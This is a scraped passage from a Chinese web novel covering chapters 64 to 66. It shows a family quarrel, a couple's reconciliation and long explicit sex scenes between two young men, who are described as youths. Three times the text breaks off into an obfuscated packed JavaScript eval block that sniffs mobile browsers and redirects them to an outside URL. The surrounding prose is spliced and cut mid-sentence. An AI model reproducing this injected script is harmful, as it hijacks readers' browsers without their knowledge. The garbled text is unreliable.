李医生却干脆直截了当地说:“迟夫人,是我有些逾矩了,我本不该透露病人信息的,况且如今小迟总的情况 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迟父匆匆擦拭掉身上的茶水,他像是习惯了迟母这般模样,只是后退了几步,用那种谴责的眼神看着她说:“那你也不该这么失了分寸。” 迟母忍无可忍地一巴掌甩过去,打得他侧偏过脸,麻痛交叠,也彻底掀开他那副无所谓的、让人作恨的嘴脸。 “要不是当年你非要信那些所谓的神鬼幸厄,我现在也用不着在这儿天天忧虑我是不是要彻底死了所有的孩子!”迟母指着他的鼻子,怒不可遏道:“你刚才在想着谁?想着哪个儿子?” 迟父看着眼前失去理智的女人,尽量心平气和地说:“我当然是在想着迟雾。” 迟母却毫不犹豫地又一巴掌扇上去,看着迟父的狼狈姿态,冷哼了声,方才压抑着怒火说:“你要是真想着小雾,就不会连延宁生病了都不知道,他的病甚至还要李医生透露给我,我早就说了,当年……..之后他就开始针对小雾,他根本就不接受现在的小雾。” “我告诉你,一个有病的人不可能理智地对待一切,他也不可能一辈子待在迟氏,小雾才应该在他的位置上,这是早就决定好的路。” 迟父被连扇两巴掌,却彻底没了脾气,他只是脸色有些阴沉。 “可是迟雾也活不长。”他这么说。 迟母觑着他,抬起的手迟迟未落下,僵持着停顿在半空中,隐隐有些发抖,最终,手臂落到身侧,紧绷着。 她说:“你凭什么这么说。” 迟父在此刻将她抱进怀里,手在她背上缓慢地拍了拍,才弯着腰将脸凑近,看着迟母眼底的惶恐不安,他轻轻叹了口气,说:“等迟雾回来,就将他初步安排着接触公司里的事,再等两年,就让延宁辅助他。” 远处楼梯上。 刚从卧室出来的迟延宁垂眼看着这出闹剧,手指不紧不慢地点了下楼梯扶手。 辅助。 也要他情愿才行。 迟延宁掀起眼皮,看了下墙上巨大的悬钟。 时间不早了。 64.第 64 章 迟雾吃了两口面,就停了筷子,坐在那儿看着于南。 于南看了他一眼,“吃饱了?” “嗯。”迟雾触及他的视线,像是碰见了滚烫的烙铁,一瞬低垂下眼皮,盯着面前桌上的汤面碗看,声音很低地说:“不怎么饿。” 这三天,哪怕他昏昏沉沉地随时要睡去,于南也总是待着空子就用拔掉针管的注射器给他喂些流食吃,要真比较起来,反倒是于南更该叫累叫饿,吃得少,还要伺候个与失去自理能力无异的人。 于南又吃了口面,没去管他。 迟雾慢慢地抬起眼皮去看他,见他正盯着碗里的汤面,没注意自己,才稍微坦荡了些,没那么别扭。 迟雾用视线描摹着于南的脸。 记忆混乱冗杂。 但不变的是始终伴在身边的这个人。 迟雾小声说:“多吃点儿。” 于南扫了他一眼。 迟雾又低垂下眼,尽量不和他对视。 迟雾觉得自己现在就像是个等待审判的犯人,但偏偏他面前的这位执行官只拥有一半记忆,并没意识到他的罪孽究竟几重深,但迟雾这个罪犯却拥有全部记忆,对自己那些无可恕免的罪名一清二楚。 所以他羞愧、哑言。 于南自然也察觉到他那时时躲避的姿态。 “记起来多少?”于南问。 迟雾盯着桌面,说:“都记起来了。” “嗯。”于南应了一声,便没了下文。 他这样的沉默反而比质问更让人难以忍受,就好像他根本不在乎迟雾记忆恢复后会变成什么样,好像迟雾在他这儿无足轻重。 但迟雾知道,不是的。 于南在乎他。 可于南不理他。 他好难受。 迟雾忍耐不住叫了声:“于南。” 于南看着他,没出声。 迟雾却迟迟不敢看向于南,视线成了在原地盘旋的无足鸟,不敢有分寸逾矩,直盯得视野明显失焦,眼睛酸胀。 “我做错了,我不该走的,你骂我吧。” 从李医生那儿到这家面馆只有两条街的距离,但就这么一小段距离,他都没敢主动去牵于南的手,只敢紧紧跟在他后头,然后一起进了店里,沉默着坐到对面。 可就是这种不接触,成了最难熬的刑罚。 他没有脸面去牵于南的手,只想让于南快点儿惩罚他。 无论什么方法都好。 掐死他,抛弃他,让他滚的远远的。 只有让他看见于南的情绪外泄出来些,他才能接着厚脸皮的贴上去。 但于南太平静了。 他怎么能这样呢。 一点儿情绪都没有。 还坐在那儿心平气和地吃了大半碗面。 迟雾抬手抹了把眼泪。 下一秒,他就听见对面那人声音很稳地叫了声自己的名字。 “迟雾。” 迟雾抬起脸来。 于南给他递了张手纸。 但迟雾没接,而是俯过身子,借着于南的手把眼泪给一点点地蹭下去。 纸很薄,被大动作蹭得乱窜。 有一下,迟雾的脸直接蹭到了于南的大拇指上。 之后。 于南的手顺势沿着他的侧脸往下一滑,就那样用手指把他的下巴给抬起来。 迟雾脸上的泪痕被蹭干净了,却留下了一片红印,如同只蝴蝶压在脸上,翅膀连着眼尾。他慢慢地抬起眼看向于南,嘴角还向下撇着,皱巴着脸,看起来怪可怜的。 于南就不为所动地看了他会儿,倏地抽回手,却被迟雾一把抓住手腕。 迟雾还在把脸往他掌心凑。 “于南,我错了,你打我吧。” 如果不是他,于南也不会入狱,不会受那些苦。如果没有他,或许于南早就走出了如今这残破不堪的境地,走到了另一处去远走高飞。 迟雾闭着眼,已经等好了巴掌落到脸上时的痛。 于南却只说:“迟雾,我从来都没打过你。” 所以他现在也不会打。 迟雾低声说:“是啊。” 那还能怎么样呢。 不会打他,肯定也不会骂他。 那就只剩下抛弃他了。 要抛弃多久呢。 几天,几个月,还是几年。 但其实都没差。 他只要做的好一些,偷偷跟着于南,让他以为真的抛弃了自己,就这样小心谨慎地跟上几个年头,再突然出现,一如上辈子的于南突然出现在他的生命里那样。 迟雾侧过脸,亲了亲于南的掌心,才松开手,重新坐直身子,像准备好接受罪刑那般,笑了下,说:“我知道了。” 停顿一秒,他问:“你准备去哪?还留在哈市吗,如果还留在这儿的话,别住地下室了,还住在家里吧,我不回去就是了,肯定不会让你心烦。” 等晚上的时候,他再悄悄回去。 “如果离开哈市去散心的话,你先告诉我去哪,我给你订机票。” 顺便也给自己订一张。 “迟雾。”于南身子向后靠,分明只移动了毫厘距离,却仿佛无形之间将两人距离拉长到极致,他说:“当时说要走的是你,现在恢复记忆之后,直截了当地说‘错了’的也是你。” “你轻易地做了决定,轻易地道了个歉,然后留我在这儿,让我接受所有。” 于南面无表情地看着他,一字一顿道:“这不公平。” 迟雾怔怔地看着他。 是了。 这就是迟雾预期中他会有的反应。 但当这一幕真正发生在眼前的时候。 迟雾觉得,眼睛好疼,心也好疼。 全身上下都被浸润在苦水中,当他的身体被苦水泡胀时,好像就看起来不再那么干瘪,虽然痛苦,但好像至少能维持一种丰盈的假象。 他努力地勾出抹笑,说:“是吧,我也觉得自己太过分了。” 他死不足惜。 可偏偏,上帝还要怜悯宽恕他这个造成一切的恶魔,施舍给他一颗禁果,让他有了这一世,从头来过。 如果从头来过的是于南。 或许于南就选择,不再靠近他了。 因为在他身边,很痛苦,很难过。 时时刻刻面对一个连记忆都留存不住的白痴,还要小心翼翼地陪伴着他上演一出出幼稚的幸福戏码,很累吧。 迟雾挤着那抹难看的笑,问:“于南,你现在是不是很讨厌我。” 于南觑他两秒,没答,直接起身去了洗手间。 迟雾坐在原位,视线被面前掉了蹭漆的墙壁牵住,他木讷地坐在那儿,直到老板过来收拾餐桌上的面碗,他才转动眸子,看向老板,问:“他走了吗?” 他? 老板反应了会儿,边擦桌子边说:“啊,没走,去洗手间了,但我看你俩应该是打算聊会儿天,碗在桌子上容易被碰到,怕你俩蹭脏了衣服,所以先收一下。” “洗手间在哪儿?”迟雾问。 老板伸手指路,“直走右转。” 迟雾说了声“谢谢”,就站起身,一步步极其缓慢地朝着洗手间走去。 他也不知道他还能说什么,他只是不想那么呆呆傻傻地自己坐在那儿,想和于南待在一块儿。 迟雾进洗手间,一抬头就看见于南正在盥洗池前洗手。 迟雾能通过盥洗池上那面大镜子看见自己此刻的样子。 裹得十分厚重,表情也很难看,走路时的姿势更是僵硬得不得了。 太丑了,太丑了。 迟雾走到了于南的身后,巨大水流声将他的脚步声压盖得死死的,他就像是悄无声息靠近的幽灵,直到于南直起身,抬眼看向镜子那一刻,才发觉了这个不知何时靠近的人。 迟雾僵硬地伸出手臂抱住于南的腰。 之后。 他就感觉到,湿漉漉的手指在自己指缝上滑过,而后突然停顿,再用力插了进去。 于南稍稍用力,夹紧迟雾的指骨。 关节处瞬间泛起片死白。 “疼吗。”于南陡然开口问。 迟雾抱他抱得更紧,“不疼,再用点儿力也没关系。” 于南却倏地抽出手指,在迟雾的手下意识地去抓他时,他轻而易举地躲过,将迟雾的手摁回自己的腰腹上。 他用大拇指摩挲着迟雾手背上的血管。 在迟家经常需要吃药打针,那上头已经布满针孔疤,疤痕排列成整齐的一排,如同破损布偶表面的缝合线,狰狞的痕迹正在告诉他,迟雾受过伤。 “可是我觉得疼。” 从镜子里,迟雾看见,于南抓起他的左手,凑到唇边,而后低下头,很轻很轻地亲了一下。 于南说:“你离开之后,我的病复发,我的身体开始疼,每天晚上都很难熬,可你再也没替我揉一揉。” “我很难受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑暗的环境几乎放大了欲望的阈值,简单触碰无法满足高涨的水韵。尤其是脚步声的靠近,更将一切都推往禁忌的彼岸。 “洗手间的灯坏掉了?!” 那人扯着嗓子喊了下,便摸着黑找了个隔间进去,结果一脚就踢着了个空水桶,发出激烈的“嘭”的一声巨响。 于南感觉到迟雾的身体正在轻微地紧绷起来。 他被这突如其来的声响吓到了,在紧张。 于南凑到他耳边,小声说:“别怕。” 他一只手伸进迟雾的衣服里,摸着他的脊背,仿佛这样就能将他安抚好,但他的接触反而让迟雾的身体更加紧绷。 迟雾仰着头躲避于南的亲吻。 隔壁的人儿打开手电筒扫了下四周,发现自己错进了个杂物间,立马退出去,又用手电筒横扫了圈。 光线从门板下挤进来,照亮两人交叠的小腿,而后快速掠过,又消失。 “里面有人吗?” 那人拍了拍两人所在的隔间。 于南掰着迟雾的下巴,去勾他的舌头。 等了会儿,没人应。 那人嘟囔了句:“就俩厕所,一个杂物间,一个坏了,让我上盥洗池里解决啊,太变态了。” 嘟囔完,他就走了。 这时。 迟雾又躲了下于南的吻。 他说。 “……..我们回家吧。” 他说话时佝着腰,一手抵着于南的肩膀,你不知道刻意拉开两人之间的距离,避免于南贴靠到他身上。 于南一瞬察觉到他的异样,还在他衣服下的手顺势往腰侧一摸。 果不其然。 迟雾抖了下。 于南收回手。 迟雾这才如释重负地呼了口气。 狭窄.逼仄的空间总是给人窒息的错觉。 而窒息通常也会给人一种不该有的快感。 还好此刻是黑的。 否则,迟雾就要找个地洞钻进去。 罪孽深重的人反倒先上了天堂。 于南拉开隔间的锁。 随着清脆的锁响,他的话也一并传进迟雾的耳朵里。 “回家之后要继续吗。” 迟雾想都没想,就说:“要。” 65.第 65 章 房卡干脆利落地刷下,随着“哔”的一声,电子门自动打开,房间里的灯也一并亮起,宽敞的大床旁还摆放着应有的用品,上头映着姹紫嫣红的小广告与标价。 原本出租车已经行驶到半程路,于南却临时要司机走了另一条路,将位置更改成了附近的一家酒店,就带着迟雾下了车。 之后,开了个大床房。 或许是因为时间临近酒店规定的最晚退房时间。 从大堂那好房卡后一路走到电梯前,摁键,等待,上去,再出来,穿梭走廊到最尾端的房间,整个过程中迟雾和不少人擦肩而过,他们都或多或少对这俩牵着手的少年投去打量的目光,聚焦在最前方于南身上的视线是最多的。 他们和人群逆着流,完全靠于南在前面开路。 这种打量很复杂,几乎分不清夹杂其中的褒贬,但可以肯定的是,这让人很不舒服。 迟雾用视线一一盯回去,几乎是阴沉着脸,将每个人都盯得颇为尴尬地快速移开视线,假装无事发生。 直到拉上房门,迟雾的表情才好转一些。 于南松开他的手,先走到窗边,将窗户拉开条缝,散了散房间里打扫过后的那股香薰味儿,才倚在窗边看向迟雾。 之后他就发现,迟雾这人颇有自觉,站在门口那儿没动,鞋都没换,上衣就已经快脱干净了,现在正拉着衣摆准备往上掀。 迟雾若有所感地抬头,和他对上视线。 房间里的光是暖黄色的,打在身上像披了层不切实际的圣光,让视野所见如同梦里发生的一样不真切,甚至令人一瞬恍惚了下,有些不确定到底是虚是实。 这种光,最适合做沉沦意识的荒唐事。 而迟雾就站在光源尽头,乖乖巧巧地开始脱衣服,连为什么中途换位置都不问一句,于南要是坏人,他肯定被卖了还在那儿费心费力地替人数钱,数完还要笑眯眯地凑上去说—— 看我干的好吧。 于南原本打算解释一句,但看清迟雾那姿态后,干脆闭上嘴,安静地看着他脱衣服,准备看他要做到哪一层。 但迟雾只是把上衣脱干净了,换了双一次性拖鞋,就裸着上半身凑到床头,弯腰凑近去看那些五花八门的用品。 他甚至挑拣着拿起来一样儿。 “是不是得用润滑剂啊。” 迟雾问着,已经把那瓶东西扔到了床上,又俯身去挑选别的。 套。 很奇怪,分明是第一次,迟雾却没怎么犹豫就从里面挑出了指套,还有正儿八经的小雨伞。 最大号。 不知道是给自己挑的,还是给于南。 就那么一会儿,大床中间就被扔上去七八个正方形包装的东西。 迟雾像老生常谈一样,说:“网上说这个牌子的好用。”他捏起一个,隔着老远的距离给于南看了一眼。 “很熟练?” 迟雾被噎了一下,不知道怎么解释。 他能怎么说,说他上辈子刚出院的时候就拿着小手机坐在台阶上开始恶补功课,准备来一波脱离医院后的狂欢庆祝?还是说他老早就想睡于南了,所以有备无患地时常复习? 好像都说不出口。 迟雾支支吾吾地说:“上网的时候刚巧刷到过科普文章,看过几篇。” 于南也不知道信没信,转身把窗户关上,窗帘拉紧,走到迟雾身边。 迟雾看着他缓慢逼近,想了想,还是说:“我想先洗个澡。” 把每个角落都搓干净。 再送到于南手上。 于南不置可否,坐到床上,仰头看着迟雾。 灯光洒在他眼底,很亮。 这是个待拆的礼物。 迟雾仅有的理智正在被吞噬。 要不,先亲亲? 迟雾从来不是什么能压抑住欲望的人,否则他也不会在还没恢复记忆时,就那么笨拙地就往于南身边凑,而应该是先敲定计划,再等待一个合情合理的好时机。 就像现在,他咽了下口水,手就往于南的身上摸。 手先是落到肩膀上,再随着距离拉近往下滑。 胸膛。 腰。 大腿。 迟雾舔着嘴唇弯下腰。 视野里的光被两道身影的缓慢交叠而掩盖。 就在嘴唇即将贴靠上时。 于南的手抵住他的身体,低声说:“因为家里闯进去人了,所以才临时到这儿待一会儿,我没别的意思。” 迟雾的身子一僵,反应了会儿这话是什么意思。 家里闯进去人了? 谁? 于南又是怎么知道的? 他原本以为是于南太过贴心,不想弄脏家里的床单,原来是因为这个吗。 原来于南没想和他…….. 这突如其来的一遭,反倒显得迟雾像个色中饿鬼,他怎么就这么迫不及待、寂寞难耐。 于南考虑的周到,费心费力地找个酒店来躲那些居心叵测闯进家里的人,结果他满心满眼只有那档子事儿。 他什么都没想到。 蠢笨、饥渴。 迟雾能想到无数个词来形容自己的下流。 此刻再看看于南。 他单纯、毫无防备,迟雾却蓄谋已久。 估计厕所隔间里那句“继续”,也不过是继续那个吻。 于南的手摸着迟雾的胸膛,他能感觉到,里面的心跳很快,甚至愈来愈快,迟雾的脸也一瞬红透了。 迟雾顿时被烫着般,收回贴着于南大腿根的手,视线也左右游走着不敢看对面的人,但偏偏他另一只手里还掐着他方才精挑细选的罪证。 迟雾磕巴了下,才说:“是、是我想错了。” 停顿一秒,他又慌乱地把手里的罪证重新放回床头柜上,顺着于南的话说:“闯进去的是上次那个男人吗。” 问出来,又觉得不大可能。 张民杨现在应该被管控着,逃不出来。 迟雾又想起最后一次回地下室时撞见的那个男人。 这时。 于南的手却滑到他腰腹处,甚至隐隐还要往下探。 迟雾的注意力瞬间被他紧紧抓牢,空白的大脑完全没办法再去考虑别的,只能遵循本能,往前送自己的身体。 手却停在了裤腰上。 于南看着他,轻笑了下。 “暂且还不知道是谁,我们要等家里的人走了之后再回去查看。” 在家里放置的微型监控足以看见那些人的脸。 但显然,于南现在并不想继续这个话题。 他声音放慢了些。 “但是可能需要等很久,你是想做点儿别的吗。” 他的手指如同一只紧紧缠住猎物的蛇,正在缓慢地、极有耐心地移动,从迟雾的腰腹,一点点地挪到大腿根儿。 “可是我没看过什么科普文章,连学校里的性教育也被老师含混两句给叠带过去,我好像什么都不懂。” “你要教教我吗?” 手指停住,火苗窜起。 迟雾觉得有条毒蛇正在往自己躯壳内注射毒液,他的全身上下都是麻的,心脏如同猝死前的征兆般紧缩在一起,随时可能爆炸。 于南的视线往下飘,在他要看到某处时,迟雾先伸手捂住了他的眼睛。 迟雾声音有些抖。 “我、我先去洗澡。” 视野回归时,于南就看见个落荒而逃的背影。 迟雾洗澡洗了很长时间。 但只有水流砸在地上的声响,那种声音很急很重,明显能分辨出水流没经过身体的过渡。 于南推开卫生间的玻璃门,就看见迟雾围着浴巾,正靠在墙边,苦大仇深地盯着手机。 听见开门声,迟雾连忙把手机锁屏,站直身子。 于南挑了下眉头,率先开口道:“你在里面待了很久,我叫你也没个回应,怕你出了什么事儿。” 他又伸出手,“是手机进水了吗,我帮你拿到外面吧。” 迟雾迟疑两秒。 于南看着他,问:“是在和谁聊天吗。” 顿了顿,他放缓语气说:“是怕我看到所以才用洗澡当借口躲在这儿吗?如果是的话,没必要这样,一直在这儿闷着容易呼吸不顺,而且,你没必要躲着我,哪怕你像之前一样准备突然离开,都可以直接告诉我,我没关系的。” 于南抿着唇,带了分苦涩意味。 迟雾连忙走过去拉住他的手,把手机也放到他手里,脸红着慌张地解释:“不是,我是想学一下……..” 手机被他解锁,屏幕上定格的画面也映入于南的眼底。 硕大的字幕极其抓人眼球,五彩斑斓的小广告在最上方缓慢滑动,与此同时,不可言说的影片也在此刻重新播放。 只待于南匆匆看上一眼,迟雾就又把手机锁屏,他小声说:“挺辣眼睛的,他们不好看。” 原来他在学这个。 迟雾拉着于南的手腕,走出卫生间,把他往床边牵。 “我觉得我学会了。”迟雾掀起床上的被子,让于南坐上去,之后,自己小心翼翼地贴上去,先是接了个吻,才开始把于南的衣服往上掀。 这种感觉很奇怪,仿佛他还在梦里没醒过来,根本不敢用什么大力气,只能一点点地把衣服推上去,尽可能地放慢放轻动作。 影片里的那些对于他来说没什么可取价值。 他们太急躁、太迫切,几乎是为了取悦镜头外面的人才有了一系列的野蛮碰撞。 但迟雾面对的课题是该怎么取悦面前这个人。 迟雾深吸了口气,弯着腰,开始亲于南的脖子,随着腰背弧度增加,围着的浴巾也在此刻掉落。 这一连串的吻几乎都对准动脉的位置。 他在尝试用这种方式来让于南更有感觉。 半湿的头发蹭在下巴上,水也被蹭得到处都是。 于南的嘴唇也是湿着的。 他伸手抓住迟雾的头发,稍微用着力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341576|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就像是在犬类急不可耐地扑向肉骨头时,主人攥紧的狗链,但这种突如其来的桎梏不仅不会让犬类就此停住,反而会随着刺痛感扩大五感,肉骨头的香味也引诱得它愈发急色。 有时过度的放任反而会让犬类饱食过后便失去兴趣,适当的掌控却能让贪婪渴望被无限放大。 贪得无厌才是本能。 灯被彻底关闭。 迟雾从来都不知道,原来于南是个软骨头,骨缝里是空的,很窄,几乎是不近人情,很难挤进去,但热水泡泡,再用犬牙咬上去,就能留下道很深的齿印。 于南的裤子挂在大腿上,被子盖着上半身,压出了层潮水般的热汗。 迟雾的动作很慢,完全是摸索着来,他总是担惊受怕,怕哪下弄疼了、出错了、就这么结束了,但这种刻意拉慢的节奏反而让一切都成了磨得人牙齿打颤的缓刑。 于南的手抓着迟雾的头发,一下松,一下紧,这是他自己都无法控制的。 迟雾的视线始终停留在他脸上,哪怕视线失焦一刻,也会在再次聚焦时快速寻找这处焦点。 他舔掉于南喉结上的汗,小声试探:“难受吗。” 于南不再抓着头发,而是揽住他的脖子,将他拉到最近的距离,如同两块被粘合剂封住的拼图,密不可分后就被一把大火点燃,烫得皮肉都融化掉。 迟雾观察着他的表情,见他没露出什么不满意的神情,才稍微松了口气,就这样深拥着他,挤在对方身体的最深处,慢吞吞地继续着动作。 当海浪彻底将人埋在水底时,比起淹没的窒息感,更真切的反而是患得患失的麻木。 所有感官堆积在一起,成了麻,忽远忽近的距离,导致了患得患失。 于南咬着嘴唇,迟雾把手指伸过去,挤到他齿关里,让他咬着。 咬住了后。 迟雾才加快了些速度。 当犬类吃完骨头上的肉,总是要守着光溜溜的骨头,将上面还带着肉香的汁液彻底舔干净,才会恋恋不舍地松开嘴,回到主人狗链的控制下。 被子被汗浸透了。 迟雾扔掉废弃工具,把于南抱起来。 于南缓了会儿,才伸手摸了摸迟雾的耳朵。 很烫,很红。 迟雾亲了亲他的掌心,“学会了吗。” 于南没想到他还想再来,本以为一次结束。 现在他的腿根还在小幅度地抖着。 掌心也全是汗。 很热。 于南也学着方才迟雾的模样,把手指塞到他的齿关下,用力压着舌尖。 迟雾笑了下,抓住他的另一只手,往自己的腰上送,口齿含糊地说:“不是学那个,是学这个。” 他把床边剩下的工具放到于南掌心。 实践出真知。 迟雾是个安静不下来的小狗。 几乎一直要出声吸引主人的注意力。 尾巴反倒学着猫那样,直挺挺地翘着。 坏狗。 如果说迟雾更注重的是取悦,那么于南更注重的就是掌控。 他完全控制了迟雾的身体。 偏偏迟雾还乐得把自己往他手里送,迫不及待地证明着,自己教得有多好。 都说严师出高徒。 他慢慢地、一点点地指导,于南反倒要比他更熟稔,几乎是举一反三。 用的力气比他的三倍还要多。 没有关切的询问,没有温吞的试探,只有直来直往的交接。 迟雾发现,两个位置的引起的感觉也不同,前者是根布满毛刺的麻绳,绳上的毒液快速将他推往最高点,而后者则是无数只从脊背里钻出来的蚂蚁,不停啃噬引发的麻痒从骨头里往外蔓延。 快感如同一道细闪,将理智劈得稀碎。 于南抓着迟雾的小腿,感知着他的紧绷。 外壳需要慢慢敲碎。 拿锤子的时候要稳。 不知过了多久。 被子都被扔到了地上。 要脱水了。 床上好湿。 迟雾拧开瓶矿泉水,递到于南嘴边。 “喝一口,嗓子都干了。” 于南没接,套上件衣服,就起身去了浴室。 两人身上都是脏的。 有些东西根本控制不住,甚至来不及套上必须的枷锁,就已经出来了。 迟雾看着他进去,盯着磨砂玻璃后那团黑影看了两秒。 他哪做的不好吗。 于南怎么都不夸夸他。 迟雾倏地想起影片里的片段,视线开始搜寻。 于南的烟放哪儿了。 现在是不是该来根事后烟,然后再感叹一句人生,比如公司的岗位,或者是家里的水管,才算正式结束? 但还没等他找着,于南就从卫生间探出脑袋,叫他,“迟雾,过来洗澡。” 迟雾忙不迭地下了床,把那些乱七八糟的都抛到脑后。 “一起吗?” 66.第 66 章 淋浴头安装在天花板上,热水淅淅沥沥地打下来,将两人一并淋湿。 于南已经将身上的衣服重新脱了下去,站在水流正下方,全身湿透,他朝迟雾勾了勾手指,“迟雾,过来。” 迟雾顺势关上门,走过去,手扶着他的腰,低头凑近,密密麻麻的吻从眉眼出落下,一路下探,直到敲开齿关,温热的水顺着嘴唇流到舌头上,一下接着一下地舔舐。 于南的嘴唇被他咬得有些泛麻。 迟雾一遍遍低声叫他名字:“于南。” 他的手停留在于南的胯骨上,那儿刚才被他留下了几个鲜红的痕迹,经过水流洗礼,红色愈发鲜艳,如同几朵刚种下的红玫瑰,而白皙的皮肤则是包裹着玫瑰的寒雪,在迟雾手中快速融化成了滩水。 但玫瑰之下,还有着块包裹骨头的寒冰。 迟雾的手摸过去,没怎么停留,此刻卫生间里的顶灯格外明亮,几乎把他的每一分反应都照得干净,仿佛他也成了聚光灯下,被无数冰冷的摄像头对准的影片主角,甚至生出分难以言喻的羞耻感,他只能匆匆带过,压根儿不敢再像方才一样明目张胆地去撩拨。 身体里的燥热很难压下去,呼吸也越来越急促。 迟雾吮.吸着于南的舌尖,水流从嘴角滑下去,如同欲望的涎水。 卫生间里有面覆盖了半面墙的落地镜。 他将于南抵到墙壁上,余光里就是镜面里交叠在一起的白花花一片。 “我们现在算在一起了吗。”迟雾松开齿关,看着于南,努力放缓呼吸,轻声说:“你是我的男朋友了吗。” 于南抓着他的后颈,很低地“嗯”了一声。 随着这声落。 迟雾万般虔诚地亲吻了下他的肩头。 于南的视线追随着他的动作,等着两人再次对上视线,迟雾笑了一下,而后叫他:“男朋友,迟雾的男朋友。” 他的吻如同只在人类躯壳上不断跳跃的鸟雀,一下下地往身体上落,没有宗法,不过每次都很轻,甚至都没有水流砸到身上引起的感觉明显。 迟雾彻底将于南抱起来,手扶着他的腿往自己腰上送。 “你也叫叫我。”迟雾在他耳边说。 于南学着他的叫法,开口道:“男朋友?” 他的嗓子还哑着,声音从喉咙里跑出来如同被蒙了层薄薄的纱,一点点地往外透,一寸寸地往迟雾的身上缠。 迟雾的手摸到控制阀上,将水流调小了些,之后又把手伸到淋浴头下,接了小捧水,将水往于南的腰腹上洒,又用手指往腰后探,一路往下,小心翼翼地疏通。 “嗯,就是这样。” 迟雾的手指很灵活,甚至有几下误打误撞地摸到了节点,摸得于南小幅度地颤着,抱他抱得越来越紧。 这种情景在迟雾的梦里发生过很多次。 都说梦境无法共感,所以人才常用痛感来区分梦境与现实,但每每做这种梦的时候,迟雾都能感觉到一阵实打实的快感,那从梦里穿梭出来直接刺激神经。 迟雾原本以为,现实可能也就是那种感觉。 但不是。 梦里就像是设定好程序的机器,他只能以第三视角游离着,观察全局,而后在梦将醒的那一瞬突然感受到,随着梦碎而绽放开来的快感,但现实,他却可以完全自己掌控深浅快慢。 不只是一次次的相撞,而是迂回地磨。 随着意识被浪潮压挤,迟雾眼神几近痴迷,他感受着于南在被自己牵动。 他们是在高空走着钢丝的人儿,摇摇欲坠的每分每秒都让人感到窒息,直到呼吸通过口齿续接,互相安抚,互相救慰。 “于南。” 迟雾情不自禁地开始说那些压在心底的话。 “等一切都结束了,我们就走吧,带着九月三走的远远的,找个暖和的地方定居,然后我们结婚,在一起一辈子。” 随着这句话落。 于南的头上扬着,将调水阀撞下去些。 水流瞬间剧增,凶狠地在两人身上冲刷。 与此同时。 有些东西也在往外流。 于南的胸膛剧烈起伏着,他闭着眼,任由水流砸到脸上,缓了会儿,他才从水流里走出去,站在墙角看着迟雾。 迟雾的全身上下都是红的,尤其是刚用完的硬骨头,像是被涂上层掺水的血一样。 他侧眸看着于南,问:“还要再来吗。” 话是问句。 但他看向于南的眼神分明就是邀请。 不知餍足。 “都用没了。”于南说。 迟雾想说床头小盒子里还有,但话到嘴边还是忍住了。 算了。 别表现的太急色。 于南估计也累了。 迟雾“哦”了一声,就走到水流中央,随便洗了两下,就扯过条浴巾围住。 “要我帮你洗吗。”迟雾又凑到于南身边问。 于南扫了他眼,直接把他推出卫生间,说:“不用,出去吧,这里面有点儿不通气。” 刚才两人的身体完全贴合。 他能清晰地感觉到迟雾的胸膛起伏。 迟雾呼吸很费力。 也是时候该停了。 他到底还是顾及着迟雾的身体。 迟雾出去后,就从床下把衣服捡起来,找出于南的衣服叠好放到床上,才把自己的衣服套上,之后就拎着个小板凳,坐到卫生间门口等着。 但他也没闲着,开始用百度搜索—— 【第一次过程中伴侣一直在抖,是疼的还是爽的?】 答案五花八门,全是各种插科打诨。 正经的科普也没什么参考价值,几乎都是各种术语的堆叠,让人看得云里雾里。 迟雾要是真靠科普文章来学东西,估计这辈子都只能停留在蹭蹭的层面上了。 迟雾翻看了会儿,又抬眼看了下玻璃后面那团黑影,简单判断了下于南现在洗到哪一步,才重新低头看向手机,与此同时,屏幕上的界面也被切换到了和一人的聊天记录上。 往上的记录,迟雾这方发过去的信息都是以哥为开头,分享过去的消息也大多都是家里的事儿,篇幅有长有短,而那头迟延宁的回复基本是些简洁的文字,有时会穿插两个可爱的表情包,都是很多年前表情包的概念刚出现时,被搬到市面上的类型。 如今看来,略显幼稚老土。 迟雾盯着聊天记录。 其中还有一句,迟延宁说的。 [给你买了糖葫芦,橘子的。] 是“迟雾”爱吃的。 他时常冷漠,时常体贴。 冷漠,是对着他这个迟雾,体贴,是对着记忆里的那个“迟雾”。 迟延宁骗他。 他分明许诺,只要他接受替换记忆,就把于南送走。 钱也一并交付给于南。 之后天高路远。 再也没有那个孤儿院里蜷缩着叫痛的孩子。 但迟延宁骗他。 一切都是谎言。 假的,通通都是假的。 如果他没恢复记忆,或许就只会像上辈子一样不断循环,成为个被鱼钩贯穿头颅后再扔回海里的鱼,分明已经成了取悦渔夫的小玩具,随时都会没了命,却偏偏还在愚蠢地洋洋得意,得意自己再次回到海洋,只要稍加努力来摆脱鱼钩,就能重获自由。 而于南上辈子的死。 从自杀变成了谋杀。 于南死后那三年,迟雾无数次推敲细节,甚至想过,是不是自己太笨才没发现什么凶手留下来的线索,如果这个凶手真的存在,他又该如何。 最初迟雾想的是报警。 让那些警察重新定性于南的死亡。 告诉他们,于南不是什么心理疾病患者,他很好,他是被人害了。 后来时间长了。 迟雾都分不清到底是自己心里扭曲了,还是找到真正的自我了。 他想的是,一旦让他找到可能是凶手的人,无论线索是否齐全,无论法律是否定罪,只要他确定这个人杀害了于南,他就要和这个人一起去死。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 